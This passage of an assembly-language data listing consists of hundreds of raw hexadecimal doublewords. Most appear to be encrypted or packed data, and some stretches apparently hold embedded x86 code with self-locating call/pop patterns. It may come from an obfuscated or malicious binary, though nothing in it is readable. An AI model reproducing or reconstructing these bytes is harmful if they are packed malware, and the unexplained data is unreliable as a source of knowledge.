		dd 8164BF7h, 0E4360F18h, 491F6D1Eh, 0CFAEEF8h, 0B7461E8Dh
		dd 0B6031049h, 78A6E709h, 0DB8203DBh, 0B29FBE4Eh, 9177E827h
		dd 38292BCDh, 3073CCBDh, 0A473CCA0h, 0F777E872h, 148A2B6Fh
		dd 0B177EF75h, 0FD237A4Eh, 0F79E327Ah, 32A65F9Ch, 9D7E4974h
		dd 3578E9E2h, 0B177E8EFh, 5921E853h, 0B177E89Fh, 0EFB4B66Eh
		dd 0B5539CAEh, 0B553AC12h, 0B177E8DCh, 40B4BEA2h, 5DFD8888h
		dd 321610B2h, 9D5B1921h, 3478E848h, 0B177E84Ah,	5927E8F9h
		dd 0B177E8CAh, 0E9B4B0C4h, 0B553ACFBh, 0B553ACB8h, 0B177E880h
		dd 0DEB4B80Eh, 0C661770Eh, 0C0A2FF29h, 0B177E320h, 0DEB06E4h
		dd 0E7154A2Ch, 4DBDD082h, 32AF63FAh, 9D5E49F3h,	3578E821h
		dd 0B177E8DCh, 5927E8A3h, 0B177E8E7h, 0E9B4B052h, 0B553ACB0h
		dd 0B553AC1Dh, 0B177E85Bh, 28B4B867h, 97CD8E61h, 6AF6BF61h
		dd 0F657FEB9h, 0B1A20128h, 0BE21E839h, 0B177F116h, 0B164004Eh
		dd 9A5BE827h, 0E59F7995h, 8C4586CBh, 0CEB1D387h, 1791778Bh
		dd 322DB2D9h, 9D7E4921h, 3478E948h, 0B177E87Ah,	5920E8F9h
		dd 0B177E8CAh, 0EEB4B7C4h, 0B55394FBh, 0B553ACB8h, 0B177E886h
		dd 0A6B4BF09h, 358B398Ch, 66FD75A0h, 0E3778294h, 0B177EB0Ch
		dd 722DC872h, 95236163h, 95336998h, 0B177F24Ah,	7225AA27h
		dd 0DDD684D7h, 316D7445h, 0BEB4C937h, 0B177ECFAh, 70CD8E39h
		dd 0B13A01B1h, 0E78E84Eh, 0B11DB5FCh, 0B17400C6h, 0EC57E8C9h
		dd 0DDFEB527h, 0F5F6EC56h, 0B16BEC1Dh, 0E432E89Ch, 0CFAF498Dh
		dd 4D068975h, 0E78FCB7h, 0B11D2712h, 0B17400B2h, 0EF57E872h
		dd 0C5FEB6FAh, 0F5F6ECB8h, 0B163EC6Ah, 0E731E827h, 0D7248850h
		dd 3C2C3042h, 80850659h, 84FA6574h, 971D9C1h, 0CA4DB481h
		dd 822A6D7Dh, 7E5CEE0Bh, 360F1808h, 1F6D1EE4h, 0FAEEF849h
		dd 461E8D0Ch, 31049B7h,	0A6E709B6h, 8303DB78h, 0A4F305E9h
		dd 0F29DBD83h, 74000631h, 518D8D0Dh, 0B8062C4Fh, 1, 6640E1FFh
		dd 0E8396BBAh, 12h, 0A2E123EAh,	0C7EF673Bh, 0EE70E98Ch
		dd 5FD8F8A6h, 0BB660596h, 665AB593h, 0F8BC7BAh,	0C83h
		dd 6860F00h, 0F000000h,	88h, 2DE88300h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0EC35343h, 99C28112h
		dd 8B517F76h, 0BE9C0h, 4B710000h, 0D5A1E786h, 66681C5Bh
		dd 65BD83FBh, 62C1Dh, 0BD830975h, 62C23D9h, 50197400h
		dd 0B8C08B53h, 3FCh, 343D8589h,	9D8D062Ch, 62EB1D3h, 585BD3FFh
		dd 23D9BD83h, 7400062Ch, 0B8535017h, 3FCh, 343D8589h, 9D8D062Ch
		dd 62EAE74h, 585BD3FFh,	14E8h, 3B39FD00h, 79E9F754h, 423883A0h
		dd 0F51FB5D1h, 0D67D9C65h, 0D38B6633h, 55006A5Bh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0D268BC9h, 0B13ED15Dh, 8B575304h, 8B5B5BD6h,	0CE8C0h
		dd 0D96D0000h, 1C06EC09h, 73C7425h, 81669BBCh, 5A152DCEh
		dd 6E957h, 0D2950000h, 13D11834h, 6CC2815Fh, 6600006Eh
		dd 33446BBEh, 59C381C0h, 8B5460C8h, 0BE66020Ch,	0E9815FE0h
		dd 2F30D5D6h, 7E8h, 0DDA73100h,	6EC1F284h, 0EEF1815Bh
		dd 815A8E15h, 0B52F6CE9h, 5E85333h, 0D0000000h,	0CAAE0522h
		dd 763FBE66h, 0E9515F5Fh, 7, 549A6780h,	8FCC4D74h, 0FA8A0204h
		dd 0DA24E881h, 11E82B76h, 0A3000000h, 2AAAFB01h, 0C0341AF4h
		dd 351328E0h, 32B12447h, 10E9h,	13AE6C00h, 1E889823h, 0E1066BFh
		dd 0D3150BEDh, 0C0815E5Eh, 2B76DA20h, 929CF881h, 850FFFFFh
		dd 30h,	17870F60h, 0E9000000h, 12h, 16666D02h, 0D833D1B8h
		dd 0FE31EB50h, 2BB3BC5Fh, 8B9EB1Fh, 6159C2C1h, 25E9h, 9A883400h
		dd 0F3DE519Fh, 11E78166h, 0FF39E9C0h, 2AFCFFFFh, 0BA1DC736h
		dd 0B334EB65h, 64AF9D83h, 0E5E9DBF1h, 18E92009h, 29000000h
		dd 210E38h, 4 dup(0)
		dd 0E9000000h, 5B9h, 499ABA01h,	0E334BE98h, 7ECF5732h
		dd 1768F4CDh, 0B3048A66h, 95719425h, 2F0DBE0Fh,	0CEAB5CADh
		dd 48F94Ah, 56E491E2h, 0F340A317h, 3B0DE337h, 0EB0B039h
		dd 54ACEB4Eh, 39579F9Ah, 21AD86BBh, 0CE0311C9h,	0D2C26AF4h
		dd 971DF97Ah, 2F4D9546h, 0F8347CB1h, 0C2BA45B9h, 0B5158531h
		dd 64403F0Dh, 6339E75Eh, 0F2F3AB03h, 0E3E48CAAh, 0D6D77F09h
		dd 815898F8h, 34CFC668h, 502B2CD4h, 0FD1620C8h,	0AEF7561Ah
		dd 90AEF6EBh, 1CB18E3Fh, 48CAA841h, 0A850B0A0h,	490758B8h
		dd 5F89747h, 0B53E398h,	0F55545EDh, 771FAB84h, 0D1AE2F87h
		dd 0C6A4A54Dh, 5CCDEB33h, 6353FB7Fh, 92838503h,	0E6367837h
		dd 0CAD48CE4h, 0E3654378h, 7153368Bh, 689AF02Fh, 3BBC31C2h
		dd 0FB79D95Fh, 0C26846BCh, 0C0188831h, 8DDE623Fh, 0CE7694DCh
		dd 0C2684AC3h, 1B504E31h, 1112BA3Eh, 0F54DAD37h, 8EEF9A0h
		dd 5B5E5580h, 10F76E59h, 72FABF1h, 43E52386h, 4BD3AEAAh
		dd 886993EBh, 2B000000h, 84609092h, 870E8BC0h, 6074CA09h
		dd 269631C2h, 0E7054DCEh, 60DC343Fh, 0FED31C2h,	7119A17Ch
		dd 78792181h, 0A32B069Bh, 63AC9B43h, 4ACEABA4h,	0B252B2A2h
		dd 553B2AEDh, 0C5E5577h, 10h, 46E8C5FAh, 0C25CB307h, 363D331h
		dd 59136B5Bh, 0F25DC59Fh, 0F97B593Dh, 541928BBh, 714B4CF4h
		dd 653E3FE7h, 3A595BD9h, 765E446Ah, 9D8C449Ch, 0C29CB554h
		dd 0AB85BA38h, 0B768C921h, 0BC26736Fh, 0B7D833E4h, 921C0657h
		dd 0A2FA825Dh, 41BF4521h, 50A8320Ch, 33BD9798h,	6027C08Bh
		dd 8F0D936Fh, 0E4B92A8Dh, 65ECCD8h, 8EACF4A5h, 7593DB10h
		dd 8964651Dh, 29425901h, 0CAA1776Eh, 97385E55h,	0FA000000h
		dd 512CC39Fh, 0C0C169C9h, 8A003FE5h, 0CC31C2BAh, 5354FC5Ch
		dd 4A4BF375h, 643FE76Fh, 0C524CCCBh, 0E8C49D7Ch, 0D3AFE462h
		dd 0BA9AF02Fh, 4CBC31C2h, 823394ECh, 777820A6h,	696A129Eh
		dd 6061098Bh, 7D580082h, 0C25F25E4h, 0D4186053h, 162FB616h
		dd 138E6473h, 5A255E56h, 0E7000000h, 0BF3DC39Fh, 3C17AE8Ah
		dd 44FC54B4h, 0F4D16643h, 0EBC7C870h, 0FDA50565h, 3F8722FCh
		dd 29897921h, 1CA68081h, 0B6516A74h, 6930F5AAh,	98169C78h
		dd 6B3F696h, 95EDD815h,	0C59F4A34h, 3788933Bh, 1331C2BAh
		dd 0B69C4B4Eh, 6D5E5651h, 9, 0B34A265Bh, 97EF4FD9h, 9B9092DDh
		dd 5333796Dh, 330E8FE7h, 8D2B2DABh, 662ECB52h, 398DCC4Ah
		dd 5931C2DCh, 0D8D991E9h, 0A1155490h, 0CC31C2DCh, 9B0B67F3h
		dd 7089933Bh, 55DDB8A9h, 0C610A504h, 89D10648h,	3F88136Bh
		dd 5F37EE85h, 1B7B03DEh, 55306573h, 0DD3525CDh,	0A5F6145Ch
		dd 0E68EACF4h, 0EE3565DBh, 10525037h, 0EE357DD1h, 23AF8837h
		dd 0AAFF57C7h, 7BAAF2EFh, 71721A9Eh, 4EAE0E96h,	0FB4F8ED0h
		dd 1B37EE35h, 41F253ABh, 3233DBF9h, 2324CCEAh, 1718C048h
		dd 1B0AB23Eh, 0F02B37D2h, 579FB057h, 51B9BB39h,	0E2386B29h
		dd 600B6CC4h, 58297B7Ah, 13831h, 9092F300h, 6F4570C7h
		dd 401A8B35h, 0C61E0EB6h, 3AB80297h, 0EE431AFBh, 2AD24237h
		dd 54E5E129h, 5F9B1265h, 0F0AEFF5Fh, 51BB13EEh,	0E4DC30Fh
		dd 37EE36B8h, 0B20A6ADAh, 23CBE931h, 14BCDA22h,	6AE3A13h
		dd 0F8A02C05h, 472BEEB3h, 0BB94730Ch, 82F83773h, 0C437EE36h
		dd 0F8A3F454h, 5829C612h, 0CC563065h, 4C4A74h, 0F10C0000h
		dd 0C226025Dh, 0F090BA2Ch, 4EAE0EB1h, 201D91D0h, 0D7DB1C2h
		dd 50555765h, 59DFBBC5h, 4D6181Bh, 44F34786h, 0A313B1C2h
		dd 444AC04Bh, 49DB1C2h,	0C0089E05h, 44AF0342h, 7FEF31C2h
		dd 6684CC01h, 1576CEBEh, 8406h,	5CF11800h, 45890734h, 714F7524h
		dd 0B12F8FEFh, 0EEF49D72h, 0A54DBD37h, 0ED3E5CA4h, 2ED6F43Ch
		dd 0EEF5A823h, 33D69B37h, 67B8D61Eh, 0AB297308h, 0D8FB936Ch
		dd 5C3ABB31h, 0BE66EEC9h, 660E6ECEh, 0A2E11D65h, 3D9CF32Ch
		dd 0F69EFE6Eh, 19589AECh, 3D9CF3A5h, 0C81D75E5h, 65CD62C1h
		dd 9CF3D026h, 9871F23Dh, 1474640Ch, 0BFF436B4h,	79045CE4h
		dd 3BAAFD80h, 87FB3AC8h, 0B22352F9h, 0B8A850D6h, 3B8CEC5Ch
		dd 0F45CF151h, 0C2BA41B5h, 0B1118131h, 0B41BF433h, 0D34337F4h
		dd 0C4E22A2Bh, 5C7AC273h, 9671A6B4h, 1E76660Eh,	0CF085A93h
		dd 0FB3DBF5Eh, 0AC8946BCh, 0C018881Ch, 6BB3AC6Bh, 2FD7633Ch
		dd 896CE221h, 3EAE1CACh, 8946DDEh, 1BF52AA8h, 27D83991h
		dd 1819C1DFh, 40C6A23Fh, 152E38E0h, 0F7155D72h,	7E527779h
		dd 0A9368DF0h, 7BD35F38h, 321691Ah, 11FC5Bh, 920E0000h
		dd 0ECCB0190h, 0F4E48C0Eh, 4AFC50B6h, 9F8FC9F2h, 8F903858h
		dd 80812947h, 76771FA3h, 6D6E1698h, 62630B91h, 57580086h
		dd 494AF27Eh, 3D3EE66Eh, 1531D963h, 5E08950h, 4, 4BE56h
		dd 0F0290000h, 2404875Eh, 794C685Ch, 3C890000h,	0E0895024h
		dd 405h, 42D00h, 4870000h, 2C895C24h, 0CEBD5524h, 0C11F3241h
		dd 534507EDh, 84078EBBh, 0F7D3F728h, 59C381D3h,	0C163C734h
		dd 0DBF703E3h, 7552C381h, 0DD01684Dh, 5DEF895Bh, 217368h
		dd 24248900h, 4240483h,	0FB89535Dh, 8458F53h, 2434FF5Bh
		dd 4C4815Dh, 0FF000000h, 815F2434h, 4C4h, 7C60E900h, 850CFFFAh
		dd 84B30759h, 0F38A16F8h, 0FFC2B876h, 0C5030631h, 0A9CDE0FFh
		dd 50D013DFh, 0D07936C9h, 0ADA95759h, 0D6421BD6h, 279866A4h
		dd 0D0D16413h, 9F934108h, 0B0A268AEh, 0DA056ED8h, 24EB22E9h
		dd 9 dup(0)
		dd 0BDE9h, 8AB58900h, 8B063200h, 2C09A185h, 0E5858B06h
		dd 8D062C13h, 3200D4B5h, 0C858D06h, 0FF062F4Eh,	0E855C3D0h
		dd 0
aBa		db ']',0
		db 32h,	6, 83h
		dd 2C09A1BDh, 850F0106h, 2Ch, 8AB5FFh, 858B0632h, 62C13E5h
		dd 81273635h, 3CD0FF34h, 0A850F01h, 0B8000000h,	1, 47E9h
		dd 0E9C03300h, 40h, 0B58D1C6Ah,	632008Eh, 8AB5FF56h, 8B063200h
		dd 2C13E585h, 27363506h, 0D0FF3481h, 8D0CC483h,	32008EB5h
		dd 14468B06h, 8304E083h, 840F04F8h, 7, 5E9C033h, 0B8000000h
		dd 1, 9A1BD83h,	0F01062Ch, 785h, 0E9C35D00h, 2,	858DCF5Dh
		dd 63200B3h, 22898589h,	0C5E9062Ch, 1A000000h, 9476BCF0h
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 2Ch	dup(0)
		dd 0BF8E9h, 3EC6800h, 57E90632h, 68FFFA7Ah, 63204C4h, 0FA7A4DE9h
		dd 5DF68FFh, 43E90632h,	68FFFA7Ah, 632065Bh, 0FA7A39E9h
		dd 7CC68FFh, 2FE90632h,	68FFFA7Ah, 6320835h, 0FA7A25E9h
		dd 0B8368FFh, 1BE90632h, 68FFFA7Ah, 6320C87h, 0FA7A11E9h
		dd 9DBD04FFh, 37C19B4Ch, 0D25A35E6h, 6BF7D081h,	78D691Ah
		dd 729728B6h, 0EBF1096h, 0AC5DAE30h, 49FA4BCFh,	0E592E301h
		dd 0B8A21857h, 0EE437F0h, 39579F10h, 2A489091h,	9BE57AD9h
		dd 0CCA6DB1Dh, 4A5FEA42h, 0CA37EED7h, 57A7B25Ah, 4C37EEA7h
		dd 9B815433h, 0EE582A30h, 86A1AAACh, 0E156B5BBh, 0EE1B1066h
		dd 6AC23237h, 6A40h, 0C32C2E00h, 9900D9A5h, 0F1EAA4FCh
		dd 5F94125Ch, 16A4FC84h, 0EEDE4ED7h, 6B80CE37h,	0E65C9B4h
		dd 0FF9603B7h, 0E11FA9C1h, 0AA0A2870h, 0A2F2F402h, 0D3796AD7h
		dd 2C9E2981h, 5937EE1Fh, 4B4CF480h, 4F3FE771h, 0D67E00DEh
		dd 0CD4B3CCh, 4A313385h, 54428475h, 0AC54DCB7h,	12EB5CBCh
		dd 3ED92E86h, 29ED4127h, 0BCF858h, 92BA0000h, 55FD7F5Dh
		dd 448C0D65h, 2E707E26h, 0C2BA9BEFh, 0F34BBB31h, 68109672h
		dd 59011F67h, 0A1F21058h, 0C2BE1BE6h, 0C0DE2631h, 5876BE6Fh
		dd 906DA2B0h, 3AA4CE0Ch, 51D59500h, 0EB35CAF9h,	3E4D2E6Dh
		dd 0FD6D37EEh, 0CA5A7D7Fh, 0B4BEB6B4h, 79CFB5Ch, 32003FBDh
		dd 6431DC62h, 654176F4h, 8ED08EDFh, 7EF97B59h, 3D990108h
		dd 182DA4Ah, 283A9F25h,	0D64A8702h, 9AC3F9Eh, 6CB30000h
		dd 704AFB4Ch, 9E495E6h,	0A67F3081h, 3C18C91Ah, 0C6D765B6h
		dd 70C14723h, 0E5FE1BFh, 0ABFC805Dh, 4394B2FAh,	75C90896h
		dd 9537F0B9h, 0C39FC1BFh, 0F92EEC3Dh, 0FDED951Fh, 0BEDC24A5h
		dd 5CF1836Dh, 0BA41B5F4h, 118131C2h, 0B3F433B1h, 0EB37EEDEh
		dd 76C8D37Bh, 6D37EE9Eh, 0BCA2B554h, 73582A2Dh,	0ABh, 39579F35h
		dd 37818391h, 4D87D590h, 0A0260273h, 2FB008F8h,	1A25CD53h
		dd 31C2A42Fh, 0A3F4125Ah, 50D2B0E5h, 112F77F8h,	0DB25BA69h
		dd 0DF3D1E5Dh, 0ED5D37EEh, 5EA83D9Ch, 4BCDABE0h, 1F77FFDAh
		dd 4E575291h, 57C731DDh, 165597D9h, 3D986EA0h, 991A72E2h
		dd 0D5BA59BDh, 554120C4h, 5848F07Ch, 964798F8h,	8DCF34BAh
		dd 614A85CFh, 8D4CA29h,	94DB0000h, 98722374h, 310CBD0Eh
		dd 0CEA758A9h, 6440F142h, 0EEFF8DDEh, 98E96F4Bh, 368709E7h
		dd 0D324A885h, 6BBCDA22h, 9DF130BEh, 0BD37F0BEh, 0C39FE9E7h
		dd 0F33BEC3Dh, 929A84D5h, 50F8845Dh, 244D2260h,	899C6D6Fh
		dd 3968B031h, 0D179D95Bh, 2AB48EC3h, 0DA0951D2h, 78B68FDh
		dd 0AF0F6F5Fh, 5AB0EF31h, 7C31C216h, 0F453B40Ch, 5597155Fh
		dd 167ED413h, 30A031C2h, 0C21641B5h, 0A0118131h, 58E63EC4h
		dd 0F4172419h, 340D4237h, 921000A8h, 0F014FF53h, 57AF1F37h
		dd 0C8FD7BEBh, 0AFE46280h, 93F44CD4h, 0F014F2D8h, 62BD5137h
		dd 6757FF87h, 77548907h, 253A9BF3h, 0A6F085B3h,	53A7E628h
		dd 7337F014h, 0DE1DAB03h, 31DC7211h, 49CDAADFh,	0B8F785F1h
		dd 3D9C7542h, 8B41484h,	0D57DCCFDh, 6AB449C9h, 690ADECh
		dd 0D04097C9h, 0B8441D52h, 10C82010h, 482CC61h,	0C66EF2CFh
		dd 0B1F07ED6h, 91A18E45h, 52870575h, 7701DB0Ah,	0CD15C617h
		dd 9B0C4AAFh, 9AD2EAAEh, 7B93Bh, 5979C000h, 0F37D5708h
		dd 8E16F1A2h, 27B38C3Dh, 0C34925D6h, 2ECBE472h,	0CA7BCC52h
		dd 68196AECh, 5B6078Bh,	0A14E9FBDh, 0BF7ED413h,	0CAA037F0h
		dd 125CF1CCh, 40505294h, 462F605Bh, 7348D32Bh, 7137F439h
		dd 34DC5E3Ch, 1080EC44h, 0CF0E5092h, 37F03E7Bh,	52D32B9Bh
		dd 7804DD78h, 2F80E0D0h, 9AF02F71h, 0BC37F03Eh,	9973F44Ch
		dd 1E66670Fh, 0CAE59B00h, 0E119445Dh, 73D82h, 0DDFD4400h
		dd 7701DB8Ch, 129A7526h, 0AB3710C1h, 47CDA95Ah,	0B25768F6h
		dd 4EFF50D6h, 0EC9DEE70h, 893A8B0Fh, 25D22341h,	0BCE25897h
		dd 4E2437F0h, 125CF150h, 0BB605594h, 30A037F4h,	17357DB2h
		dd 4F0608C6h, 78FCD84h,	0CE6493EBh, 91C60886h, 48D32B49h
		dd 37F06AE6h, 0DF05E4E6h, 0E78F13F0h, 19C8B9F7h, 80F05CB4h
		dd 0FF6A0002h, 0A6A9B6CAh, 0F0A41367h, 63C33337h, 0F748530Bh
		dd 0EC37F0A4h, 3B2134D3h, 0F2582430h, 61h, 39CEABE0h, 0CE76D65Eh
		dd 8946DDEh, 9092F6B0h,	96BBCF5Dh, 96448290h, 0C4D9F68Dh
		dd 24BAE941h, 0E71C5EDCh, 1094710Eh, 0BBFA08B0h, 31C2BD47h
		dd 5FB71787h, 0C2BD62D4h, 0AE2C9C31h, 0BF179D79h, 0BD82FC07h
		dd 88A131C2h, 46F0D681h, 0E435E56h, 1606AE30h, 794BEh
		dd 41560000h, 1EAh, 959F3B53h, 0F938B600h, 37EEDCFCh, 36C29B1Ch
		dd 923E9E8Eh, 0D9764F84h, 0E0D078FCh, 8BCAD880h, 37EE9837h
		dd 2F87E757h, 414B84A4h, 5AC257E7h, 146BA71Bh, 1777E784h
		dd 102D5A99h, 0C9CB8238h, 334BB9D1h, 83EF4767h,	285D6B13h
		dd 57D9B74Ah, 0C43A79F7h, 68DC0DAh, 7A0F3E96h, 773B230h
		dd 378BF020h, 0F656D8B6h, 0DDFB4378h, 4D8CCE8Ch, 0F3F35CF9h
		dd 0D051A919h, 75056A88h, 79005D2Ch, 5CCE241h, 8CD30000h
		dd 906A1B6Ch, 2904B506h, 0C69F50A1h, 5C38E93Ah,	0E6F785D6h
		dd 90E16743h, 2E7F01DFh, 0CB1CA07Dh, 63B4D21Ah,	95E928B6h
		dd 0B537F0BDh, 579FE1DFh, 4DE29139h, 4438503h, 31C2BA8Eh
		dd 15EF60D0h, 66A5338Bh, 37EED305h, 0E2589725h,	2437EEA3h
		dd 0A1D654B4h, 84E53DC7h, 86D8BD3h, 44575F6Ch, 63DB3A72h
		dd 6A000005h, 1B20323h,	9B4C9D27h, 36E738C0h, 0CF80D15Dh
		dd 8E1C6DF3h, 76FCD87Dh, 14967425h, 0B13512C3h,	4967AF60h
		dd 7EBD4BF8h, 37F0B208h, 9F76744Ah, 83913957h, 0AA0B8481h
		dd 240A23Ah, 516128BBh,	0F071C9DEh, 0D70C8AA8h,	0BE14538Fh
		dd 0E031C294h, 78681070h, 49D6820h, 0E6044C05h,	5695D795h
		dd 31C294E0h, 4AC300Dh,	5A37B814h, 0A31E76D6h, 5E561FBDh
		dd 4074h, 5CF13600h, 0F79F2501h, 0EA29A707h, 37EEE609h
		dd 0C3A00D0Fh, 2CA1EE7Eh, 0B25ADEBBh, 8EFE6AC2h, 1463DBE6h
		dd 2E8037EEh, 1459ADECh, 97937EEh, 0E038BA98h, 0F3D98C8Bh
		dd 0AA5829A3h, 42h, 125CF16Ch, 9345594h, 64D437EFh, 3CD7B1E6h
		dd 3E2ED6F4h, 965E60DEh, 0A569B6E7h, 1DD83991h,	37EED7ACh
		dd 0F3718FD7h, 0F5ED57F1h, 58D5ACh, 0D3ACE19Fh,	57AF9F47h
		dd 0CA72FCD6h, 4696Bh, 5CF17D00h, 18559412h, 0F837EEDDh
		dd 97DFE088h, 99E2D179h, 439E33FEh, 0FF7DDDFBh,	0C2FEB3C0h
		dd 0F83F4131h, 2D0E1612h, 0D848B40Ch, 708ED687h, 298419C8h
		dd 0E765C54Fh, 5F1066A5h, 0C2323D9Ah, 589ADC6Ah, 48C34523h
		dd 3D9A5FF2h, 2EBA9314h, 3EEB76CEh, 5E3BB608h, 6A4546EEh
		dd 0F1393AE2h, 0CA3B2BD3h, 0E6C169EDh, 2CA64A4Dh, 135B7413h
		dd 0B045A4F5h, 67A6E866h, 2347A313h, 0DD6BC333h, 6BD3A99Eh
		dd 0B892C725h, 3E96862Eh, 0ACBA62D2h, 6C149C77h, 5BA3247Ch
		dd 0BA94953Dh, 0AD878830h, 0E4E9BA45h, 2282E284h, 3069F7Ah
		dd 5193E55Fh, 7357BC12h, 166EDE29h, 0C65BC6C1h,	40D3249Eh
		dd 0EF4F0F53h, 125D3271h, 0FC7D2F5Fh, 0F3F49C1Eh, 0FAEA9216h
		dd 0BABC3A9Ah, 76F725A5h, 0E94AA23Ch, 54D2F038h, 88800452h
		dd 97EF0313h, 7C02DEDFh, 0FD9CE5D4h, 256D9CE4h,	0F756A707h
		dd 589A1862h, 7B99E116h, 1F7D8A00h, 0C87ECC2Fh,	6E7A6449h
		dd 3DC82080h, 29335760h
		dd 979840B0h, 7EB3314Fh, 0EC61EA0h, 0A8340Dh, 3E7D25FFh
		dd 14CB54C8h, 923A9A0Ah, 0C8A86F88h, 0CF52354Eh, 3372F03Ah
		dd 12E70376h, 6BB758A6h, 7B667FC5h, 0D119CA1Bh,	250035B3h
		dd 8C8D459Dh, 9F3C1544h, 0A1913957h, 3190E141h,	95D4529Ch
		dd 1CD8B580h, 0E95D9CDEh, 2900A0C5h, 9E46CCA8h,	8AF64EAEh
		dd 1767721Ah, 0C00A0C5h, 20AC85BAh, 480524E2h, 0CA22DFD4h
		dd 0DDC39275h, 942CF365h, 41h, 0EB714D82h, 5CF1D993h, 10529412h
		dd 0C2BA7DD1h, 22408831h, 73FE56C6h, 37EEDE32h,	3A7CFA6Ah
		dd 0EE9E87FBh, 0E657C737h, 0E9D9810Dh, 7CCED991h, 7337EE9Eh
		dd 0C2A8BF5Ah, 79582A2Dh, 0C5h,	39579F3Bh, 2EB49091h, 1F3D8586h
		dd 0A0676977h, 0E72BE89h, 8FD758B0h, 9A652071h,	0A531C278h
		dd 3DEE3F5Dh, 802FD7F5h, 2A4890EBh, 0B4329282h,	0EE24C875h
		dd 3B7A0837h, 37EE44C7h, 0A8599707h, 0A0EDB679h, 3537B515h
		dd 64839239h, 0EF50A84Eh, 33B1FB90h, 0DDFACDF4h, 381F131h
		dd 1B6CF2CEh, 0B34E285Dh, 48F050D8h, 0A37F0058h, 8EF6B81Dh
		dd 0E0184A86h, 21581h, 0B5D51C00h, 4FD9B364h, 0EA724DFEh
		dd 830FE899h, 1FA58132h, 8AAF40CEh, 26D728AEh, 0C475C648h
		dd 611263E7h, 0FDAAFB19h, 0B1DA306Fh, 26FC37F0h, 5FC39F28h
		dd 8859AE7h, 4394F434h,	0D31B4A92h, 0BD1D0DB5h,	9B79AE6Ch
		dd 29817119h, 125CF16Fh, 0DECC5594h, 0DC4C37EEh, 0AFE42634h
		dd 7CD24DD3h, 9E37EE9Eh, 0A4CFF02Eh, 6461888Dh,	0D309810Ch
		dd 0D2637EEh, 0E8755B0Ah, 0E12C5829h, 0EE000000h, 0DC1B579Fh
		dd 31C2BA66h, 30D838A8h, 7A552022h, 0A24C8673h,	3E91E524h
		dd 41B131C2h, 68C68E9h,	3B74535Eh, 4B9331C2h, 0E32BDC2Dh
		dd 0AB53D7B4h, 0E76F4ABBh, 47EF4F3Fh, 3BB90398h, 0EE644FFCh
		dd 0CE1F8F37h, 1290DA6Fh, 0DDD7CFD3h, 0F1E12F31h, 57F98B02h
		dd 8F4B711Fh, 0A101DAE5h, 4C81C341h, 5040E872h,	159B77F8h
		dd 933713C4h, 992FFE54h, 3FB0203Dh, 4636DE62h, 0DC1781E6h
		dd 9FD74A86h, 11140h, 0B1D11800h, 4BD5AF60h, 0E66E49FAh
		dd 7F0BE495h, 1BA17D2Eh, 86A33CCAh, 22D324AAh, 0C071C244h
		dd 5D0E5FE3h, 0F9A6F715h, 0B6D62C6Bh, 22F837F0h, 3DC39F24h
		dd 0F7F33BECh, 96747F99h, 3E7C6C14h, 94F4A3F6h,	4438543h
		dd 31C29E8Eh, 51347EEh,	0CB27E7DBh, 3CE4024Ah, 0DA94EC4Ch
		dd 0E8835D92h, 7C24840Eh, 7BCF0E8Ch, 9B31C2BAh,	0A52D32Bh
		dd 0BA3B8FCEh, 0D5B31C2h, 0FE5420BAh, 3C9CFC0Eh, 0C93D7CBEh
		dd 931C26Dh, 88894199h,	72D12240h, 0D61593DDh, 37F46CE5h
		dd 0A9F7D725h, 4AF27452h, 21701C5Ah, 505E0666h,	0EB6421Bh
		dd 0FD45C61Eh, 95DD8EDFh, 30C4CF77h, 0EBA46353h, 0A2EAE7A2h
		dd 73753384h, 138A0DC4h, 0E8FE78Eh, 0FF00A8C6h,	24B08926h
		dd 894446C4h, 0D1F9AF34h, 0C23877F5h, 4470320h,	7A843C94h
		dd 61A9A661h, 0F941F243h, 0CF7F75FDh, 34D1FA53h, 45FA3834h
		dd 0AD55B554h, 0D4Eh, 0E9F76000h, 0BA1268A7h, 0C43431C2h
		dd 589FB26Ch, 478F9038h, 0A3808129h, 9876771Fh,	916D6E16h
		dd 8662630Bh, 7E575800h, 6E494AF2h, 633D3EE6h, 681531D9h
		dd 295Ah, 68241489h, 70Dh, 53240C89h, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 0BE56243Ch, 7CE644A3h, 1AE6F681h,	0F681793Dh
		dd 696C0397h, 0EEC1D6F7h, 0A3F68108h, 8903574Fh, 0F1815EF1h
		dd 5F6059Ah, 243C8B54h,	4C481h,	89520000h, 85789CAh, 8324148Bh
		dd 34FF04C4h, 0C4815F24h, 4, 53240C8Bh,	0C381E389h, 4
		dd 4C381h, 1C870000h, 6BE95C24h, 3CFFFA6Eh, 0DBDB866h
		dd 0C5030632h, 9024E0FFh, 0E6C34E98h, 0D77500C2h, 28502B80h
		dd 270E6DF7h, 8E2D52BDh, 0E14163E0h, 1A466EF6h,	0ADE65B61h
		dd 84AF04B2h, 0D13727F9h, 0DAA40A45h, 0B5100648h, 157C5FA2h
		dd 476A2977h, 1A2D6B81h, 5A51CBDh, 0A5AD66E9h, 0F8D80E73h
		dd 3BFA6401h, 8D6A15A5h, 2C1B1488h, 78D255E1h, 0E58A4966h
		dd 975FDCh, 6CF27319h, 0DC26CA3h, 9EA10391h, 8D8D7955h
		dd 6320FA4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0D9C35343h, 0CA335B62h,	0BD03ECE5h, 62C1A55h, 0DA5BD8Bh
		dd 8D89062Ch, 62C2BA5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0E6C35343h, 0E8C9C318h, 6695CDFCh, 8D89D18Bh
		dd 62C1EB1h, 12D985C7h,	5CA8062Ch, 89600000h, 2C08F5BDh
		dd 0FE86006h, 14000000h, 0C8C9E3DDh, 0A4BFEC30h, 43025398h
		dd 0FC5AC74Ah, 85C76161h, 62C29C1h, 0
		dd 1299B529h, 0B5FF062Ch, 62C3101h, 0C800Fh, 830F0000h
		dd 6, 870Fh, 95FF0000h,	62C15F5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 15C35646h, 0F3275EFBh, 6A2D1F9Dh
		dd 0B195FF00h, 8B062C26h, 385EEBC0h, 82E380FEh,	0FDAAA401h
		dd 0F392CB96h, 0B314B01Eh, 0C4A39163h, 0A1E90F03h, 9AF91047h
		dd 0F1ABF736h, 2E96C670h, 7851D166h, 0B32FD9EBh, 0E1663E2Ch
